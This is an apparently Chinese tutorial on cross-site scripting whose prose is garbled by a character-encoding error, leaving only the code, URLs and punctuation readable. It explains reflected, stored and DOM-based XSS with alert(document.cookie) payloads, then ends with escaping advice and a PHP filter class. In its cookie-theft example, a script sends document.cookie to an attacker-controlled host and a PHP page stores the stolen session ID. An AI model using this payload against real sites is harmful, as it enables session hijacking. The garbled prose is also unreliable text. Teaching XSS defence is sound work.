1¡¢¼ò½é
¿çÕ¾½Å±¾£¨cross site script£©ÎªÁ˱ÜÃâÓëÑùʽcss»ìÏý£¬ËùÒÔ¼ò³ÆÎªXSS¡£
XSSÊÇÒ»ÖÖ¾³£³öÏÖÔÚwebÓ¦ÓÃÖеļÆËã»ú°²È«Â©¶´£¬Ò²ÊÇwebÖÐ×îÖ÷Á÷µÄ¹¥»÷·½Ê½¡£ÄÇôʲôÊÇXSSÄØ£¿
XSSÊÇÖ¸¶ñÒâ¹¥»÷ÕßÀûÓÃÍøÕ¾Ã»ÓжÔÓû§Ìá½»Êý¾Ý½øÐÐתÒå´¦Àí»òÕß¹ýÂ˲»×ãµÄȱµã£¬½ø¶øÌí¼ÓһЩ´úÂ룬ǶÈëµ½webÒ³ÃæÖÐÈ¥¡£Ê¹±ðµÄÓû§·ÃÎʶ¼»áÖ´ÐÐÏàÓ¦µÄǶÈë´úÂë¡£
´Ó¶øµÁÈ¡Óû§×ÊÁÏ¡¢ÀûÓÃÓû§Éí·Ý½øÐÐijÖÖ¶¯×÷»òÕß¶Ô·ÃÎÊÕß½øÐв¡¶¾ÇÖº¦µÄÒ»ÖÖ¹¥»÷·½Ê½¡£
XSS¹¥»÷µÄΣº¦°üÀ¨£º
1¡¢µÁÈ¡¸÷ÀàÓû§Õʺţ¬Èç»úÆ÷µÇ¼Õʺš¢Óû§ÍøÒøÕʺš¢¸÷Àà¹ÜÀíÔ±ÕʺÅ
2¡¢¿ØÖÆÆóÒµÊý¾Ý£¬°üÀ¨¶ÁÈ¡¡¢´Û¸Ä¡¢Ìí¼Ó¡¢É¾³ýÆóÒµÃô¸ÐÊý¾ÝµÄÄÜÁ¦
3¡¢µÁÇÔÆóÒµÖØÒªµÄ¾ßÓÐÉÌÒµ¼ÛÖµµÄ×ÊÁÏ
4¡¢·Ç·¨×ªÕË
5¡¢Ç¿ÖÆ·¢Ë͵ç×ÓÓʼþ
6¡¢ÍøÕ¾¹ÒÂí
7¡¢¿ØÖÆÊܺ¦Õß»úÆ÷ÏòÆäËüÍøÕ¾·¢Æð¹¥»÷
2¡¢ÔÒò½âÎö
Ö÷ÒªÔÒò£º¹ýÓÚÐÅÈοͻ§¶ËÌá½»µÄÊý¾Ý£¡
½â¾ö°ì·¨£º²»ÐÅÈÎÈκοͻ§¶ËÌá½»µÄÊý¾Ý£¬Ö»ÒªÊǿͻ§¶ËÌá½»µÄÊý¾Ý¾ÍÓ¦¸ÃÏȽøÐÐÏàÓ¦µÄ¹ýÂË´¦ÀíÈ»ºó·½¿É½øÐÐÏÂÒ»²½µÄ²Ù×÷¡£
½øÒ»²½·ÖÎöϸ½Ú£º
¿Í»§¶ËÌá½»µÄÊý¾Ý±¾À´¾ÍÊÇÓ¦ÓÃËùÐèÒªµÄ£¬µ«ÊǶñÒâ¹¥»÷ÕßÀûÓÃÍøÕ¾¶Ô¿Í»§¶ËÌá½»Êý¾ÝµÄÐÅÈΣ¬ÔÚÊý¾ÝÖвåÈëһЩ·ûºÅÒÔ¼°javascript´úÂ룬ÄÇôÕâЩÊý¾Ý½«»á³ÉΪӦÓôúÂëÖеÄÒ»²¿·ÖÁË¡£ÄÇô¹¥»÷Õ߾ͿÉÒÔËÁÎ޼ɵ¬µØÕ¹¿ª¹¥»÷À²¡£
Òò´ËÎÒÃǾø²»¿ÉÒÔÐÅÈÎÈκοͻ§¶ËÌá½»µÄÊý¾Ý£¡£¡£¡
3¡¢XSS¹¥»÷·ÖÀà
¡¾Á˽⼴¿É£¬²»±ØÏ¸¾¿£¬XSS¸ùÔ´¾ÍÊÇûÍêÈ«¹ýÂ˿ͻ§¶ËÌá½»µÄÊý¾Ý¡¿
3.1¡¢·´ÉäÐÍxss¹¥»÷
ÓÖ³ÆÎª·Ç³Ö¾ÃÐÔ¿çÕ¾µã½Å±¾¹¥»÷£¬ËüÊÇ×î³£¼ûµÄÀàÐ͵ÄXSS¡£Â©¶´²úÉúµÄÔÒòÊǹ¥»÷Õß×¢ÈëµÄÊý¾Ý·´Ó³ÔÚÏìÓ¦ÖС£Ò»¸öµäÐ͵ķdz־ÃÐÔXSS°üº¬Ò»¸ö´øXSS¹¥»÷ÏòÁ¿µÄÁ´½Ó(¼´Ã¿´Î¹¥»÷ÐèÒªÓû§µÄµã»÷)¡£
¼òµ¥Àý×Ó
Õý³£·¢ËÍÏûÏ¢£º
http://www.test.com/message.php?send=Hello,World£¡
½ÓÊÕÕß½«»á½ÓÊÕÐÅÏ¢²¢ÏÔʾHello,Word
·ÇÕý³£·¢ËÍÏûÏ¢£º
http://www.test.com/message.php?send=<script>alert(¡®foolish!¡¯)</script>£¡
½ÓÊÕÕß½ÓÊÕÏûÏ¢ÏÔʾµÄʱºò½«»áµ¯³ö¾¯¸æ´°¿Ú
3.2¡¢´æÖüÐÍxss¹¥»÷
ÓÖ³ÆÎª³Ö¾ÃÐÍ¿çÕ¾µã½Å±¾£¬ËüÒ»°ã·¢ÉúÔÚXSS¹¥»÷ÏòÁ¿(Ò»°ãÖ¸XSS¹¥»÷´úÂë)´æ´¢ÔÚÍøÕ¾Êý¾Ý¿â£¬µ±Ò»¸öÒ³Ãæ±»Óû§´ò¿ªµÄʱºòÖ´ÐС£Ã¿µ±Óû§´ò¿ªä¯ÀÀÆ÷,½Å±¾Ö´ÐС£³Ö¾ÃµÄXSSÏà±È·Ç³Ö¾ÃÐÔXSS¹¥»÷Σº¦ÐÔ¸ü´ó,ÒòΪÿµ±Óû§´ò¿ªÒ³Ã棬²é¿´ÄÚÈÝʱ½Å±¾½«×Ô¶¯Ö´ÐС£¹È¸èµÄorkutÔø¾¾ÍÔâÊܵ½XSS¡£
¼òµ¥Àý×Ó£º
´ÓÃû×־ͿÉÁ˽⵽´æ´¢ÐÍXSS¹¥»÷¾ÍÊǽ«¹¥»÷´úÂë´æÈëÊý¾Ý¿âÖУ¬È»ºó¿Í»§¶Ë´ò¿ªÊ±¾ÍÖ´ÐÐÕâЩ¹¥»÷´úÂë¡£ÀýÈçÁôÑÔ°å
ÁôÑÔ°å±íµ¥ÖÐµÄ±íµ¥Óò£º<input type=¡°text¡± name=¡°content¡± value=¡°ÕâÀïÊÇÓû§ÌîдµÄÊý¾Ý¡±>
Õý³£²Ù×÷£º
Óû§ÊÇÌá½»ÏàÓ¦ÁôÑÔÐÅÏ¢£»½«Êý¾Ý´æ´¢µ½Êý¾Ý¿â£»ÆäËûÓû§·ÃÎÊÁôÑ԰壬ӦÓÃÈ¥Êý¾Ý²¢ÏÔʾ¡£
·ÇÕý³£²Ù×÷£º
¹¥»÷ÕßÔÚvalueÌîд<script>alert(¡®foolish!¡¯)</script>¡¾»òÕßhtmlÆäËû±êÇ©£¨ÆÆ»µÑùʽ¡£¡£¡££©¡¢Ò»¶Î¹¥»÷ÐÍ´úÂë¡¿£»
½«Êý¾Ý´æ´¢µ½Êý¾Ý¿âÖУ»
ÆäËûÓû§È¡³öÊý¾ÝÏÔʾµÄʱºò£¬½«»áÖ´ÐÐÕâЩ¹¥»÷ÐÔ´úÂë
3.3¡¢DOMBasedXSS£¨»ùÓÚdomµÄ¿çÕ¾µã½Å±¾¹¥»÷£©
»ùÓÚDOMµÄXSSÓÐʱҲ³ÆÎªtype0XSS¡£µ±Óû§Äܹ»Í¨¹ý½»»¥ÐÞ¸Ää¯ÀÀÆ÷Ò³ÃæÖеÄDOM(DocumentObjectModel)²¢ÏÔʾÔÚä¯ÀÀÆ÷ÉÏʱ£¬¾ÍÓпÉÄܲúÉúÕâÖÖ©¶´£¬´ÓЧ¹ûÉÏÀ´ËµËüÒ²ÊÇ·´ÉäÐÍXSS¡£
ͨ¹ýÐÞ¸ÄÒ³ÃæµÄDOM½ÚµãÐγɵÄXSS£¬³ÆÖ®ÎªDOMBasedXSS¡£
ǰÌáÊÇÒ×Êܹ¥»÷µÄÍøÕ¾ÓÐÒ»¸öHTMLÒ³Ãæ²ÉÓò»°²È«µÄ·½Ê½´Ódocument.location »òdocument.URL
»ò document.referrer»ñÈ¡Êý¾Ý£¨»òÕßÈÎºÎÆäËû¹¥»÷Õß¿ÉÒÔÐ޸ĵĶÔÏ󣩡£
¼òµ¥Àý×Ó£º
1 <HTML>
2 <TITLE>Welcome!</TITLE>
3 Hi
4 <SCRIPT>
5 var pos=document.URL.indexOf("name=")+5;
6 document.write (document.URL.substring (pos,document.URL.length));
7 </SCRIPT>
8 <BR>
9 Welcome to our system
10 ¡
11 </HTML> |
Õâ¸öÀý×ÓÊǸö»¶ÓÒ³Ãæ£¬nameÊǽØÈ¡URLÖÐget¹ýÀ´µÄname²ÎÊý
Õý³£²Ù×÷£º
http://www.vulnerable.site/welcome.html?name=Joe
·ÇÕý³£²Ù×÷£º
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
½«²úÉúxssÌõ¼þ¡£ÈÃÎÒÃÇ¿´¿´ÎªÊ²Ã´£ºÊܺ¦ÕßµÄä¯ÀÀÆ÷½ÓÊÕµ½Õâ¸öÁ´½Ó£¬·¢ËÍHTTPÇëÇóµ½www.vulnerable.site²¢ÇÒ½ÓÊܵ½ÉÏÃæµÄHTMLÒ³¡£Êܺ¦ÕßµÄä¯ÀÀÆ÷¿ªÊ¼½âÎöÕâ¸öHTMLΪDOM£¬DOM°üº¬Ò»¸ö¶ÔÏó½Ðdocument£¬documentÀïÃæÓиöURLÊôÐÔ£¬Õâ¸öÊôÐÔÀïÌî³ä×ŵ±Ç°Ò³ÃæµÄURL¡£µ±½âÎöÆ÷µ½´ïjavascript´úÂ룬Ëü»áÖ´ÐÐËü²¢ÇÒÐÞ¸ÄÄãµÄHTMLÒ³Ãæ¡£ÌÈÈô´úÂëÖÐÒýÓÃÁËdocument.URL£¬ÄÇô£¬Õⲿ·Ö×Ö·û´®½«»áÔÚ½âÎöʱǶÈëµ½HTMLÖУ¬È»ºóÁ¢¼´½âÎö£¬Í¬Ê±£¬javascript´úÂë»áÕÒµ½(alert(¡))²¢ÇÒÔÚͬһ¸öÒ³ÃæÖ´ÐÐËü£¬Õâ¾Í²úÉúÁËxssµÄÌõ¼þ¡£
×¢Òâ:
1. ¶ñÒâ³ÌÐò½Å±¾ÔÚÈκÎʱºò²»»áǶÈëµ½´¦ÓÚ×ÔȻ״̬ϵÄHTMLÒ³Ãæ£¨ÕâºÍÆäËûÖÖÀàµÄxss²»Ì«Ò»Ñù£©¡£
2.Õâ¸ö¹¥»÷Ö»ÓÐÔÚä¯ÀÀÆ÷ûÓÐÐÞ¸ÄURL×Ö·ûʱÆð×÷Óᣠµ±url²»ÊÇÖ±½ÓÔÚµØÖ·À¸ÊäÈ룬Mozilla.»á×Ô¶¯×ª»»ÔÚdocument.URLÖÐ×Ö·û<ºÍ>£¨×ª»¯Îª%3C
ºÍ %3E£©£¬Òò´ËÔھͲ»»áÊܵ½ÉÏÃæÊ¾ÀýÄÇÑùµÄ¹¥»÷ÁË£¬ÔÚIE6ÏÂûÓÐת»»<ºÍ>£¬Òò´ËËûºÜÈÝÒ×Êܵ½¹¥»÷¡£
µ±È»£¬Ö±½ÓǶÈëµ½HTMLÖ»Êǹ¥»÷µÄÒ»¸ö¹ÒÔØµã£¬Óкܶà½Å±¾²»ÐèÒªÒÀÀµ<ºÍ>©¶´£¬Òò´ËMozillaͨ³£Ò²ÊÇÎÞ·¨×èÖ¹ÕâЩ¹¥»÷µÄ¡£
¡¾Õâ¶Î³ö×Ô£ºhttp://www.oschina.net/translate/dom-based-xss-of-third-kind¡¿
4¡¢XSS¹¥»÷ʵÀý·ÖÎö
Àý1¡¢¼òµ¥XSS¹¥»÷
ÁôÑÔÀ࣬¼òµ¥×¢Èëjavascript
Óиö±íµ¥Óò£º<input type=¡°text¡± name=¡°content¡± value=¡°ÕâÀïÊÇÓû§ÌîдµÄÊý¾Ý¡±>
1¡¢¼ÙÈôÓû§ÌîдÊý¾ÝΪ£º<script>alert('foolish!')</script>£¨»òÕß<script
type="text/javascript" src="./xss.js"></script>£©
2¡¢Ìá½»ºó½«»áµ¯³öÒ»¸öfoolish¾¯¸æ´°¿Ú£¬½Ó׎«Êý¾Ý´æÈëÊý¾Ý¿â
3¡¢µÈµ½±ðµÄ¿Í»§¶ËÇëÇóÕâ¸öÁôÑÔµÄʱºò£¬½«Êý¾ÝÈ¡³öÏÔʾÁôÑÔʱ½«Ö´Ðй¥»÷´úÂ룬½«»áÏÔʾһ¸öfoolish¾¯¸æ´°¿Ú¡£
¡¾½«Êý¾Ý¸Ä³Éhtml±êÇ©½øÐй¥»÷£¬Ôò»á½«Ô±¾µÄÑùʽ´òÂÒ¡£¡£¡£¡£¡£¡£¡£¡£¡¿
Àý2¡¢µÁÈ¡cookie
1¡¢ÍøÕ¾ËùÔÚÓòÃûΪwww.test88.com¡¢¹¥»÷Õß¿ØÖƵÄÖ÷»úwww.linuxtest.com
2¡¢test88.comÖÐµÄ±íµ¥£¬xss.html
1 <!DOCTYPE
html>
2 <html>
3 <head>
4 <title>xss¹¥»÷</title>
5 <meta charset="utf-8">
6 </head>
7 <body>
8
9 <form action="./test99.php" method="post">
10 癄<input type="text" name="content"
value=""><br/>
11 <input type="submit" name=""
value='Ìá½»'>
12 </form>
13 <br/>ÁôÑԼǼ£º<br/>
14 </body>
15 </html> |
3¡¢¶ñÒâ¹¥»÷Õß²åÈëÏàÓ¦´úÂë
1 <script>
2 var Str=document.cookie; //»ñÈ¡cookie
3 var a =document.createElement('a'); //´´½¨a±êÇ©
4 a.href='http://www.linuxtest.com/test2.php?'+Str;
//¹¥»÷ÕßÖ÷»ú
5 a.innerHTML="<img src='./aa.jpg'>";
//ÑÚ»¤Í¼Æ¬
6 document.body.appendChild(a); //½«±êÇ©Ìí¼Óµ½Ò³ÃæÖÐ
7 </script> |
4¡¢Êý¾Ý£¨¹¥»÷´úÂ룩²åÈëÊý¾Ý¿â
5¡¢¹¥»÷Õß¿ØÖƵÄÖ÷»úÖÐÉèÖýÓÊÕµÁÈ¡µÄcookie
1 <?php
2 header("content-type:text/html;charset=utf8");
3 echo "ÄãµÄPHPSESSID±»µÁÀ²";
4 echo "<pre>";
5 print_r($_GET);
6 echo "</pre>";
7 $cookie=$_GET['PHPSESSID'];
8 file_put_contents('./xss.txt', $cookie);
9 ?> |
¿ªÊ¼Ä£Äâ²âÊÔ
1¡¢test88.comÖÐÉèÖÃÉú³ÉsessionID´úÂë
1 <?php
2 session_start();
3 $_SESSION['xss']='xssssss';
4 echo "<pre>";
5 print_r($_SESSION);
6 echo "</pre>";die;
7 ?> |
2¡¢¿Í»§¶Ë·ÃÎÊÉÏÃæ´úÂë²¢Éú³É×Ô¼ºµÄsessionID

3¡¢¿Í»§¶Ë·ÃÎÊxss.html
#ÏÂÃæÎªÄ£Äâ±»¹¥»÷ºóÈ¡³öÊý¾ÝµÄxss.html´úÂ루ÏÔʾÊý¾Ý£©
1 <!DOCTYPE
html>
2 <html>
3 <head>
4 <title>xss¹¥»÷</title>
5 <meta charset="utf-8">
6 </head>
7 <body>
8 <form action="./test99.php" method="post">
9 癄<input type="text" name="content"
value=""><br/>
10 <input type="submit" name=""
value='Ìá½»'>
11 </form>
12 <br/>ÁôÑԼǼ£º<br/>
13 <script>
14 var Str=document.cookie; //»ñÈ¡cookie
15 var a =document.createElement('a'); //´´½¨a±êÇ©
16 a.href='http://www.linuxtest.com/test2.php?'+Str;
//¹¥»÷ÕßÖ÷»ú
17 a.innerHTML="<img src='./aa.jpg'>";
//ÑÚ»¤Í¼Æ¬
18 document.body.appendChild(a); //½«±êÇ©Ìí¼Óµ½Ò³ÃæÖÐ
19 </script>
20 </body>
21 </html>
¸´ÖÆ´úÂë |

4¡¢¿Í»§¶Ë²»Ð¡Ðĵã»÷µ½Í¼Æ¬£¬sessionID½«±»µÁ


¡¾µ±È»Õâ½ö½öÖ»ÊÇÒ»¸öºÜ¼òµ¥µÄ¹¥»÷£¬Ö»Òª½«Êý¾Ý¹ýÂ˾ͿÉÒÔ±ÜÃâÕâ¸ö¹¥»÷ÁË£¬ÕâÀïÖ»ÊÇÈôó¼ÒÁ˽âXSSÊÇÈçºÎ½øÐй¥»÷µÄ¡£¡¿
5¡¢XSS©¶´ÐÞ¸´
´ÓÉÏÃæXSSʵÀýÒÔ¼°Ö®Ç°ÎÄÕµĽéÉÜÎÒÃÇÖªµÀXSS©¶´µÄÆðÒò¾ÍÊÇûÓжÔÓû§Ìá½»µÄÊý¾Ý½øÐÐÑϸñµÄ¹ýÂË´¦Àí¡£Òò´ËÔÚ˼¿¼½â¾öXSS©¶´µÄʱºò£¬ÎÒÃÇÓ¦¸ÃÖØµã°ÑÎÕÈçºÎ²ÅÄܸüºÃµÄ½«Óû§Ìá½»µÄÊý¾Ý½øÐа²È«¹ýÂË¡£
5.1¡¢htmlʵÌå
ʲôÊÇhtmlʵÌ壿
ÔÚhtmlÖÐÓÐЩ×Ö·û£¬Ïñ(<)ÕâÀàµÄ£¬¶ÔHTML(±ê׼ͨÓñê¼ÇÓïÑÔϵÄÒ»¸öÓ¦ÓÃ)À´ËµÊÇÓÐÌØÊâÒâÒåµÄ£¬ËùÒÔÕâЩ×Ö·ûÊDz»ÔÊÐíÔÚÎı¾ÖÐʹÓõġ£ÒªÔÚHTMLÖÐÏÔʾ(<)Õâ¸ö×Ö·û£¬ÎÒÃǾͱØÐëʹÓÃʵÌå×Ö·û¡£
htmlʵÌåµÄ´æÔÚÊǵ¼ÖÂXSS©¶´µÄÖ÷ÒªÔÒòÖ®Ò»¡£
Òò´ËÎÒÃÇÐèÒª½«ÕâЩʵÌåÈ«²¿×ª»»ÎªÏàÓ¦µÄʵÌå±àºÅ¡£

5.2¡¢HTML Encode
Óû§½«Êý¾ÝÌá½»ÉÏÀ´µÄʱºò½øÐÐHTML±àÂ룬½«ÏàÓ¦µÄ·ûºÅת»»ÎªÊµÌåÃû³ÆÔÙ½øÐÐÏÂÒ»²½µÄ´¦Àí¡£
ÔÚPHPÖÐÒѾ´æÔÚÕâÑù×Ó¹¦Äܵĺ¯Êý£¬¼´ÊÇhtmlentities($str)º¯Êý¡£
ÓëÖ®Ïà·´µÄ¾ÍÊÇhtml_entity_decode($str)º¯Êý£¬Ëü½«ÊµÌåÃû³Æ×ª»»ÎªÏàÓ¦µÄ·ûºÅ¡£
5.3¡¢ÐÞ¸´Â©¶´·½Õë
¡¾²»ÏàÓ¦Óû§Ìá½»µÄÊý¾Ý£¬¹ýÂ˹ýÂ˹ýÂË£¡¡¿
1¡¢½«ÖØÒªµÄcookie±ê¼ÇΪhttp only, ÕâÑùµÄ»°Javascript ÖеÄdocument.cookieÓï¾ä¾Í²»ÄÜ»ñÈ¡µ½cookieÁË.
2¡¢±íµ¥Êý¾Ý¹æ¶¨ÖµµÄÀàÐÍ£¬ÀýÈ磺ÄêÁäӦΪֻÄÜΪint¡¢nameÖ»ÄÜΪ×ÖĸÊý×Ö×éºÏ¡£¡£¡£¡£
4¡¢¶ÔÊý¾Ý½øÐÐHtml Encode ´¦Àí
5¡¢¹ýÂË»òÒÆ³ýÌØÊâµÄHtml±êÇ©£¬ ÀýÈç: <script>, <iframe>
, < for <, > for >, "
for
6¡¢¹ýÂËJavaScript ʼþµÄ±êÇ©¡£ÀýÈç "onclick=", "onfocus"
µÈµÈ¡£
¡¾Ìرð×¢Ò⣺¡¿
ÔÚÓÐЩӦÓÃÖÐÊÇÔÊÐíhtml±êÇ©³öÏֵģ¬ÉõÖÁÊÇjavascript´úÂë³öÏÖ¡£Òò´ËÎÒÃÇÔÚ¹ýÂËÊý¾ÝµÄʱºòÐèÒª×Ðϸ·ÖÎöÄÄЩÊý¾ÝÊÇÓÐÌØÊâÒªÇó£¨ÀýÈçÊä³öÐèÒªhtml´úÂë¡¢javascript´úÂëÆ´½Ó¡¢»òÕß´Ë±íµ¥Ö±½ÓÔÊÐíʹÓõȵȣ©£¬È»ºóÇø±ð´¦Àí£¡
5.4¡¢PHPÖеÄÏàÓ¦º¯Êý
¡¾Ïêϸ¿´PHPÊֲ᡿
ÕâÀï¿ÉÄܲ»È«£¬ÏëÁ˽â¸ü¶àµÄ¿´Êֲᡣ
strip_tags($str, [ÔÊÐí±êÇ©]) #´Ó×Ö·û´®ÖÐÈ¥³ý HTML ºÍ PHP ±ê¼Ç
htmlentities($str)º¯Êý #תÒåhtmlʵÌå
html_entity_decode($str)º¯Êý #·´×ªÒåhtmlʵÌå
addcslashes($str, ¡®×Ö·û¡¯)º¯Êý #¸øÄ³Ð©×Ö·û¼ÓÉÏ·´Ð±¸Ü
stripcslashes($str)º¯Êý #È¥µô·´Ð±¸Ü
addslashes ($str )º¯Êý #µ¥ÒýºÅ¡¢Ë«ÒýºÅ¡¢·´Ð±ÏßÓë NULL¼Ó·´Ð±¸Ü
stripslashes($str)º¯Êý #È¥µô·´Ð±¸Ü
htmlspecialchars() #ÌØÊâ×Ö·ûת»»ÎªHTMLʵÌå
htmlspecialchars_decode() #½«ÌØÊâµÄ HTML ʵÌåת»»»ØÆÕͨ×Ö·û
5.5¡¢Êý¾Ý¹ýÂËÀà
1 <?php
2 class XSS
3 {
4 /**
5 * @desc ¹ýÂËÊý¾Ý
6 *
7 * @param $data string|array ÊäÈëÊý¾Ý
8 * @param $low bool ÊÇ·ñ²ÉÓøüΪÑϸñµÄ¹ýÂË
9 *
10 * @return ·µ»Ø¹ýÂ˵ÄÊý¾Ý
11 */
12 public function clean_xss($data, $low = False)
13 {
14 #×Ö·û´®¹ýÂË
15 if (! is_array ( $data ))
16 {
17 $data = trim ( $data ); #×Ö·ûÁ½±ßµÄ´¦Àí
18 $data = strip_tags ( $data ); #´Ó×Ö·û´®ÖÐÈ¥³ý HTML
ºÍ PHP ±ê¼Ç
19 $data = htmlspecialchars ( $data ); #ÌØÊâ×Ö·ûת»»ÎªHTMLʵÌå
20 if ($low)
21 {
22 return $data;
23 }
24 #Æ¥Åä»»¿Õ¸ñ
25 $data = str_replace ( array ('"', "\\",
"'", "/", "..",
"../", "./", "//"
), '', $data );
26 $no = '/%0[0-8bcef]/';
27 $data = preg_replace ( $no, '', $data );
28 $no = '/%1[0-9a-f]/';
29 $data = preg_replace ( $no, '', $data );
30 $no = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
31 $data = preg_replace ( $no, '', $data );
32 return $data;
33 }
34 #Êý×é¹ýÂË
35 $arr=array();
36 foreach ($data as $k => $v)
37 {
38 $temp=$this->clean_xss($v);
39 $arr[$k]=$temp;
40 }
41 return $arr;
42 }
43
44
45 }
46 #²âÊÔ²âÊÔ
47 session_start();
48 $_SESSION['xss']='xssss';
49 $xss=new XSS();
50 #²âÊÔ×Ö·û´®
51 $str = "<script>alert(document.cookie)</script>";
52 echo $str;
53 $str2=$xss->clean_xss($str);
54 echo $str2;
55 echo "<hr/>";
56 #²âÊÔÊý×é
57 $arr= array("<script>alert(document.cookie)</script>",
"<script>alert (document.cookie)</script>"
,"<script>alert(document.cookie)</script>");
58 echo "<pre>";
59 print_r($arr);
60 echo "</pre>";
61 $arr2=$xss->clean_xss($arr);
62 echo "<pre>";
63 print_r($arr2);
64 echo "</pre>";die;
65 ?> |
|